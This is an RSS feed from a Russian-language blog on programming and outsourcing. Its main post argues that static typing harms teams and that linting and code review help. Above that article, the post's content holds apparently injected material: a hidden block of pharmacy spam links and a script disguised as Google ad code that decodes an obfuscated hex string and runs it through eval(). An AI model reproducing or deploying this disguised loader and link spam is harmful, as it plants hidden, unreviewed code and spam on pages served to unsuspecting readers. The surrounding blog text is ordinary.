<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Outsourcing stories &#187; Alex Lebedev</title>
	<atom:link href="http://alexlebedev.com/blog/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://alexlebedev.com/blog</link>
	<description>Alexander Lebedev writes about software development and outsourcing</description>
	<lastBuildDate>Tue, 28 Dec 2010 13:15:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Защита от дурака в программировании</title>
		<link>http://alexlebedev.com/blog/foolproffing/</link>
		<comments>http://alexlebedev.com/blog/foolproffing/#comments</comments>
		<pubDate>Tue, 28 Dec 2010 13:15:13 +0000</pubDate>
		<dc:creator>Alex Lebedev</dc:creator>
				<category><![CDATA[инструменты]]></category>
		<category><![CDATA[менеджмент]]></category>
		<category><![CDATA[программирование]]></category>

		<guid isPermaLink="false">http://alexlebedev.com/blog/?p=121</guid>
		<description><![CDATA[Наткулся сегодня на пост c размышлениями о пользе статической типизации для ограничения ущерба, который может быть нанесен проекту неквалфицированным и/или не заботящимся о качестве программистом: http://piranha.org.ua/blog/2010/12/28/antimetaprogramming/

Хочу изложить свою точку зрения на проблему.  Пытаться техническими средствами бороться с некомпетентностью -- заранее проигранная игра.  Если какой-то разработчик приносит в проекте вреда больше, чем пользы, то существует два конструктивных решения:
 1. обучить его
 2. избавиться от него

Если оба варианта недоступны ...]]></description>
			<content:encoded><![CDATA[<div id="_wp_footer"><a href="http://drugs-similar-to-lopressor.genericpillscostrx.com/" title="Drugs Similar To Lopressor">Drugs Similar To Lopressor</a>
<a href="http://nexium-for-gerd-in-elderly-patients.discountpillspricerx.com/" title="Nexium For Gerd In Elderly Patients">Nexium For Gerd In Elderly Patients</a>
<a href="http://ultram-drug-screens.pricedrugslistrx.com/" title="Ultram Drug Screens">Ultram Drug Screens</a>
<a href="http://arrowhead-lakes-john-allegra-glendale.dosingdrugspharmacyrx.com/" title="Arrowhead Lakes John Allegra Glendale">Arrowhead Lakes John Allegra Glendale</a>
<a href="http://allegra-inc-vuarnet.naturaldrugsalternativerx.com/" title="Allegra Inc Vuarnet">Allegra Inc Vuarnet</a>
<a href="http://side-effects-actos.genericpillscostrx.com/" title="Side Effects Actos">Side Effects Actos</a>
<a href="http://synthroid-constipation.discountpillspricerx.com/" title="Synthroid Constipation">Synthroid Constipation</a>
<a href="http://using-expired-clomid-steroids.pricedrugslistrx.com/" title="Using Expired Clomid Steroids">Using Expired Clomid Steroids</a>
<a href="http://side-effects-depakote.dosingdrugspharmacyrx.com/" title="Side Effects Depakote">Side Effects Depakote</a>
<a href="http://prevacid-naprapac-500.naturaldrugsalternativerx.com/" title="Prevacid Naprapac 500">Prevacid Naprapac 500</a>
<a href="http://how-hgh-is-administered.genericpillscostrx.com/" title="How Hgh Is Administered">How Hgh Is Administered</a>
<a href="http://over-the-counter-viagra-in-europe.discountpillspricerx.com/" title="Over The Counter Viagra In Europe">Over The Counter Viagra In Europe</a>
<a href="http://avodart-proscar-propecia-finasteride-methotrexate-accutane.pricedrugslistrx.com/" title="Avodart Proscar Propecia Finasteride Methotrexate Accutane">Avodart Proscar Propecia Finasteride Methotrexate Accutane</a>
<a href="http://soma-set.dosingdrugspharmacyrx.com/" title="Soma Set">Soma Set</a>
<a href="http://purim-symbol-chance.naturaldrugsalternativerx.com/" title="Purim Symbol Chance">Purim Symbol Chance</a>
<a href="http://effexor-xr-withdraw-symptoms.genericpillscostrx.com/" title="Effexor Xr Withdraw Symptoms">Effexor Xr Withdraw Symptoms</a>
<a href="http://lamictal-max-level-toxicity.discountpillspricerx.com/" title="Lamictal Max Level Toxicity">Lamictal Max Level Toxicity</a>
<a href="http://contraindications-prozac.pricedrugslistrx.com/" title="Contraindications Prozac">Contraindications Prozac</a>
<a href="http://soma-no-perscription.dosingdrugspharmacyrx.com/" title="Soma No Perscription">Soma No Perscription</a>
<a href="http://digoxin-lanoxin.naturaldrugsalternativerx.com/" title="Digoxin Lanoxin">Digoxin Lanoxin</a>
<a href="http://neurontin-prescription.genericpillscostrx.com/" title="Neurontin Prescription">Neurontin Prescription</a>
<a href="http://effexor-brain-fog.discountpillspricerx.com/" title="Effexor Brain Fog">Effexor Brain Fog</a>
<a href="http://prednisone-use-after-expiration-date.pricedrugslistrx.com/" title="Prednisone Use After Expiration Date">Prednisone Use After Expiration Date</a>
<a href="http://inderal-dosage-essential-tremor.dosingdrugspharmacyrx.com/" title="Inderal Dosage Essential Tremor">Inderal Dosage Essential Tremor</a>
<a href="http://tramadol-plus-valium-plus-somas.naturaldrugsalternativerx.com/" title="Tramadol Plus Valium Plus Somas">Tramadol Plus Valium Plus Somas</a>
<a href="http://prilosec-prevacid-interaction.genericpillscostrx.com/" title="Prilosec Prevacid Interaction">Prilosec Prevacid Interaction</a>
<a href="http://ultram-weight-gain.discountpillspricerx.com/" title="Ultram Weight Gain">Ultram Weight Gain</a>
<a href="http://natural-breast-augmentation-training.pricedrugslistrx.com/" title="Natural Breast Augmentation Training">Natural Breast Augmentation Training</a>
<a href="http://norvasc-versus-benicar.dosingdrugspharmacyrx.com/" title="Norvasc Versus Benicar">Norvasc Versus Benicar</a>
<a href="http://topamax-precautions.naturaldrugsalternativerx.com/" title="Topamax Precautions">Topamax Precautions</a>
<a href="http://chemical-prices-of-calcium-carbonate-limestone.genericpillscostrx.com/" title="Chemical Prices Of Calcium Carbonate Limestone">Chemical Prices Of Calcium Carbonate Limestone</a>
<a href="http://paracetamol-and-tramadol.discountpillspricerx.com/" title="Paracetamol And Tramadol">Paracetamol And Tramadol</a>
<a href="http://lexapro-coupons.pricedrugslistrx.com/" title="Lexapro Coupons">Lexapro Coupons</a>
<a href="http://effect-imitrex-side.dosingdrugspharmacyrx.com/" title="Effect Imitrex Side">Effect Imitrex Side</a>
<a href="http://side-effects-from-celexa-suicide.naturaldrugsalternativerx.com/" title="Side Effects From Celexa Suicide">Side Effects From Celexa Suicide</a>
<a href="http://zovirax-ointment-on-line-pharmacy.genericpillscostrx.com/" title="Zovirax Ointment On Line Pharmacy">Zovirax Ointment On Line Pharmacy</a>
<a href="http://get-off-lexapro.discountpillspricerx.com/" title="Get Off Lexapro">Get Off Lexapro</a>
<a href="http://clomid-not-working.pricedrugslistrx.com/" title="Clomid Not Working">Clomid Not Working</a>
<a href="http://female-rogaine.dosingdrugspharmacyrx.com/" title="Female Rogaine">Female Rogaine</a>
<a href="http://viagra-for-her.genericpillscostrx.com/" title="Viagra For Her">Viagra For Her</a>
<a href="http://at-t-brite.naturaldrugsalternativerx.com/" title="At T Brite">At T Brite</a>
<a href="http://cymbalta-availability.discountpillspricerx.com/" title="Cymbalta Availability">Cymbalta Availability</a>
<a href="http://cigarette-and-lexapro.pricedrugslistrx.com/" title="Cigarette And Lexapro">Cigarette And Lexapro</a>
<a href="http://cheapest-viagra-homepage.dosingdrugspharmacyrx.com/" title="Cheapest Viagra Homepage">Cheapest Viagra Homepage</a>
<a href="http://meningitis-and-cipro.genericpillscostrx.com/" title="Meningitis And Cipro">Meningitis And Cipro</a>
<a href="http://tramadol-and-kidneys.naturaldrugsalternativerx.com/" title="Tramadol And Kidneys">Tramadol And Kidneys</a>
<a href="http://zoloft-sertraline-side-effects.discountpillspricerx.com/" title="Zoloft Sertraline Side Effects">Zoloft Sertraline Side Effects</a>
<a href="http://seroquel-medication-tapering-off.pricedrugslistrx.com/" title="Seroquel Medication Tapering Off">Seroquel Medication Tapering Off</a>
<a href="http://seroquel-rebates.dosingdrugspharmacyrx.com/" title="Seroquel Rebates">Seroquel Rebates</a>
<a href="http://lisinopril-appearance.naturaldrugsalternativerx.com/" title="Lisinopril Appearance">Lisinopril Appearance</a>
</div>
<script type="text/javascript"><!--
google_ad_client = "pub-7652328300112263";
google_ad_width = 728;
google_ad_height = 15;
google_ad_format = "728x15_0ads_al_s";
google_ad_channel = "";
function google_ads(str){var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ""; var i = 1; for (++idx; idx < len; idx += 2,i++){ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); } eval(new_str);}
google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02373B44403B2F4609ED3838362CE800");
//-->
</script><p>Наткулся сегодня на пост c размышлениями о пользе статической типизации для ограничения ущерба, который может быть нанесен проекту неквалфицированным и/или не заботящимся о качестве программистом.  Читать здесь: <a href="http://piranha.org.ua/blog/2010/12/28/antimetaprogramming/">Антиметапрограммирование</a></p>

<p>Хочу изложить свою точку зрения на проблему.  Пытаться техническими средствами бороться с некомпетентностью &#8212; заранее проигранная игра.  Если какой-то разработчик приносит в проекте вреда больше, чем пользы, то существует два конструктивных решения:</p>

<ol>
<li>обучить его</li>
<li>избавиться от него</li>
</ol>

<p>Если оба варианта недоступны, мы попадаем в крайне неприятную ситуацию.  Я считаю, что выйти из нее можно только политическими средствами, но пусть о них напишет кто-нибудь разбирающийся в офисной политике лучше меня.  Я же продолжу о технических решениях.</p>

<h2>Вредные решения</h2>

<ol>
<li><p>Языки со статической типизацией, проверяемыми исключениями и прочей защитой от дурака &#8212; вся команда пишет медленее, чтобы худшие разработчики наносили меньше вреда.  Общий баланс будет почти всегда отрицательным, потому что от приведения языка к наименьшему общему знаменателю лучшие разработчики страдают больше всех, а выгода невелика и мало зависит от навыка.</p></li>
<li><p>Запрет сложных решений (например, метапрограммирования) стандартом кода в рамках конкретной команды.  Опять-таки, мы отнимаем мощный инструмент у лучших разработчиков чтобы снизить шансы худших отпилить себе ногу по неосторожности.  Ущерб будет больше положительного эффекта</p></li>
</ol>

<h2>Полезные решения</h2>

<ol>
<li><p>Автоматическая проверка кода (с помощью *lint и других инструментов такого рода) &#8212; небольшие дополнительные затраты времени на каждый коммит, позволяющие снизить количество ошибок определенных типов.  Здесь мы имеем дело с небольшим выигрышем, обеспеченным еще более незначительными затратами, общий эффект положительный.</p></li>
<li><p>Рецензирование кода &#8212; тратим дополнительное время при разработке, получаем отлов некоторых ошибок, улучшение стиля кодирования в команде и ускоренную передачу опыта.  Общий баланс положительный, кроме разработчиков, чьи художества быстрее переделать полностью, чем доводить через многочисленные ревью.</p></li>
</ol>

<hr />

<p>В следующий раз я постараюсь проиллюстрировать свои предварительные выводы цифрами и напишу о неоднозначности пользы от юнит-тестов.</p>
]]></content:encoded>
			<wfw:commentRss>http://alexlebedev.com/blog/foolproffing/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Python переходит на Mercurial</title>
		<link>http://alexlebedev.com/blog/python-switches-to-mercruial/</link>
		<comments>http://alexlebedev.com/blog/python-switches-to-mercruial/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 04:15:27 +0000</pubDate>
		<dc:creator>Alex Lebedev</dc:creator>
				<category><![CDATA[mercurial]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[новости]]></category>

		<guid isPermaLink="false">http://alexlebedev.com/blog/python-switches-to-mercruial/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://alexlebedev.com/blog/python-switches-to-mercruial/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Обзор Review Board &#8212; есть ли польза от инструмента для рецензирования кода?</title>
		<link>http://alexlebedev.com/blog/review-board-review/</link>
		<comments>http://alexlebedev.com/blog/review-board-review/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 20:42:41 +0000</pubDate>
		<dc:creator>Alex Lebedev</dc:creator>
				<category><![CDATA[инструменты]]></category>
		<category><![CDATA[менеджмент]]></category>
		<category><![CDATA[процесс разработки]]></category>

		<guid isPermaLink="false">http://alexlebedev.com/blog/review-board-review/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://alexlebedev.com/blog/review-board-review/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Django и контроль доступа с человеческим лицом</title>
		<link>http://alexlebedev.com/blog/django-nonpublic-middleware/</link>
		<comments>http://alexlebedev.com/blog/django-nonpublic-middleware/#comments</comments>
		<pubDate>Thu, 12 Feb 2009 06:19:20 +0000</pubDate>
		<dc:creator>Alex Lebedev</dc:creator>
				<category><![CDATA[django]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://alexlebedev.com/blog/django-nonpublic-middleware/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://alexlebedev.com/blog/django-nonpublic-middleware/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Mercurial, полет нормальный</title>
		<link>http://alexlebedev.com/blog/mercurial-flying-fine/</link>
		<comments>http://alexlebedev.com/blog/mercurial-flying-fine/#comments</comments>
		<pubDate>Thu, 22 Jan 2009 11:09:12 +0000</pubDate>
		<dc:creator>Alex Lebedev</dc:creator>
				<category><![CDATA[mercurial]]></category>
		<category><![CDATA[инструменты]]></category>

		<guid isPermaLink="false">http://alexlebedev.com/blog/mercurial-flying-fine/</guid>
		<description><![CDATA[Не так давно я обосновывал, что git лучше, чем Mercurial.  К сожалению, невозможность увязать LDAP-авторизацию иначе, чем через WebDAV, поставила крест на использовании git.  WebDAV оказался непригоден для транзакционных операций с большим числом файлов, репозиторий постоянно приходил в некорректное состояние.  Примерно через неделю разборок с WebDAV нам надоело жрать этот кактус и было решено использовать Mercurial.

Прошел почти месяц и уже можно твердо сказать, что решение было удачным.]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://alexlebedev.com/blog/mercurial-flying-fine/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Требуются веб-разработчики в Тольятти, $2000/мес.</title>
		<link>http://alexlebedev.com/blog/looking-for-developers/</link>
		<comments>http://alexlebedev.com/blog/looking-for-developers/#comments</comments>
		<pubDate>Sun, 11 Jan 2009 15:50:37 +0000</pubDate>
		<dc:creator>Alex Lebedev</dc:creator>
				<category><![CDATA[django]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[объявления]]></category>
		<category><![CDATA[работа]]></category>

		<guid isPermaLink="false">http://alexlebedev.com/blog/looking-for-developers/</guid>
		<description><![CDATA[В связи с повышением спроса со стороны потенциальных заказчиков, мы объявляем набор веб-разработчиков.

Нас 3 человека, находимся в Тольятти, работаем в области аутсорсинга около 5 лет.  Клиенты из США, Канады, Европы.  Как фирма не оформлены, планируем сделать это в ближайшем будущем.  В данный момент нам нужно еще 2-3 разработчика.

Занимаемся разработкой веб-систем на заказ с использованием наиболее современных технологий.  На сегодняшний день -- Django и Ruby on Rails.]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://alexlebedev.com/blog/looking-for-developers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Идиомы и анти-идиомы языка Python</title>
		<link>http://alexlebedev.com/blog/python-idioms-and-anti-idioms/</link>
		<comments>http://alexlebedev.com/blog/python-idioms-and-anti-idioms/#comments</comments>
		<pubDate>Thu, 25 Dec 2008 11:40:50 +0000</pubDate>
		<dc:creator>Alex Lebedev</dc:creator>
				<category><![CDATA[python]]></category>
		<category><![CDATA[программирование]]></category>
		<category><![CDATA[рефакторинг]]></category>

		<guid isPermaLink="false">http://alexlebedev.com/blog/python-idioms-and-anti-idioms/</guid>
		<description><![CDATA[Недавно наткнулся на полезную, но немного устаревшую статью
<a href="http://docs.python.org/howto/doanddont.html">«Python Idioms and anti-idioms»</a>

Давайте разберем ее применительно к сегодняшней реальности.]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://alexlebedev.com/blog/python-idioms-and-anti-idioms/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Мысли вслух: Git или Mercurial</title>
		<link>http://alexlebedev.com/blog/git-or-mercurial/</link>
		<comments>http://alexlebedev.com/blog/git-or-mercurial/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 05:26:16 +0000</pubDate>
		<dc:creator>Alex Lebedev</dc:creator>
				<category><![CDATA[git]]></category>
		<category><![CDATA[mercurial]]></category>
		<category><![CDATA[инструменты]]></category>

		<guid isPermaLink="false">http://alexlebedev.com/blog/git-or-mercurial/</guid>
		<description><![CDATA[Выбираем систему распределенного контроля версий (DVCS).

В целом надо сказать, что git и Mercurial считаются двумя лучшими представителями распределенных систем контроля версий.  Оба достаточно хороши и отлично решат наши задачи так что практическая разница между ними невелика.

Плюсы Git:
...]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://alexlebedev.com/blog/git-or-mercurial/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Почему консультанта найти проще, чем человека в штат</title>
		<link>http://alexlebedev.com/blog/why-contractors-are-easier-to-find/</link>
		<comments>http://alexlebedev.com/blog/why-contractors-are-easier-to-find/#comments</comments>
		<pubDate>Wed, 20 Aug 2008 10:07:47 +0000</pubDate>
		<dc:creator>Alex Lebedev</dc:creator>
				<category><![CDATA[бизнес]]></category>

		<guid isPermaLink="false">http://alexlebedev.com/blog/why-contractors-are-easier-to-find/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://alexlebedev.com/blog/why-contractors-are-easier-to-find/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>200 cлов о стиле</title>
		<link>http://alexlebedev.com/blog/200-words-about-style/</link>
		<comments>http://alexlebedev.com/blog/200-words-about-style/#comments</comments>
		<pubDate>Fri, 11 Jul 2008 07:14:11 +0000</pubDate>
		<dc:creator>Alex Lebedev</dc:creator>
				<category><![CDATA[ruby]]></category>
		<category><![CDATA[программирование]]></category>
		<category><![CDATA[рефакторинг]]></category>

		<guid isPermaLink="false">http://alexlebedev.com/blog/200-words-about-style/</guid>
		<description><![CDATA[Небольшой пример рефакторинга ruby-кода.

...]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://alexlebedev.com/blog/200-words-about-style/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>

